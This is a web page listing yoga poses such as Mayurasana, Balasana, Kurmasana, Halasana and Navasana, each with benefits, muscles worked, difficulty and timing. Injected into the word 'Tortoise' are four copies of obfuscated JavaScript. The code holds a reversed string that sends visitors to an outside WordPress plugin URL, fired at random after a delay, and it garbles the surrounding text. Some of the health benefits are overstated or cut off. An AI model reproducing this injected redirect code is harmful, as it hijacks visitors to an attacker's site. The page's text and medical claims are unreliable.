Peacock pose (Mayurasana)

Benefits : Makes spinal chord straight

Muscle System :
Two palms

Level of Difficulty :
L

Timing :
Morning & Evening

Accessories needed :
Yoga mat

Child pose (Balasana)

Benefits : The Benefits Of Balasana (Child Pose) It helps release tension in the chest, back, and shoulders. ... If this asana is done with support on the head and the torso, it relieves pain in the lower back and neck.

Muscle System :
Forehead, legs and toes

Level of Difficulty :
L

Timing :
Morning

Accessories needed :
yoga mat

Tortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toise posture (Kurmasana)

Benefits : • Strengthens the back • Tones the abdominal organs • Encourages flexibility in the hips • Quiets the mind

Muscle System :
Legs, Buttocks and hands

Level of Difficulty :
H

Timing :
Morning

Accessories needed :
Yoga mat

Plow pose (Halasana)

Benefits : "• Stretches all muscles and ligament in your calves and thighs, resulting in greater leg flexibility • Therapeutic for leg cramps • Stimulates your thyroid, parathyroid, throat, lungs and abdominal organs • Helps relieve gas and upper/lower back pain or discomfort • Promotes good dige"

Muscle System :
Head, shoulder, and hands

Level of Difficulty :
M

Timing :
Morning

Accessories needed :
Yoga mat

Full boat pose (Navasana)

Benefits : Paripurna Navasana is said to relieve stress, improve digestion and aid the lower abdominal organs: kidney, intestines, and prostate for men. It can also stimulate the thyroid. Ardha Navasana works on the upper abdominal organs: pancreas, gall bladder, spleen and liver.

Muscle System :
Buttocks

Level of Difficulty :
L

Timing :
Morning

Accessories needed :
Yoga mat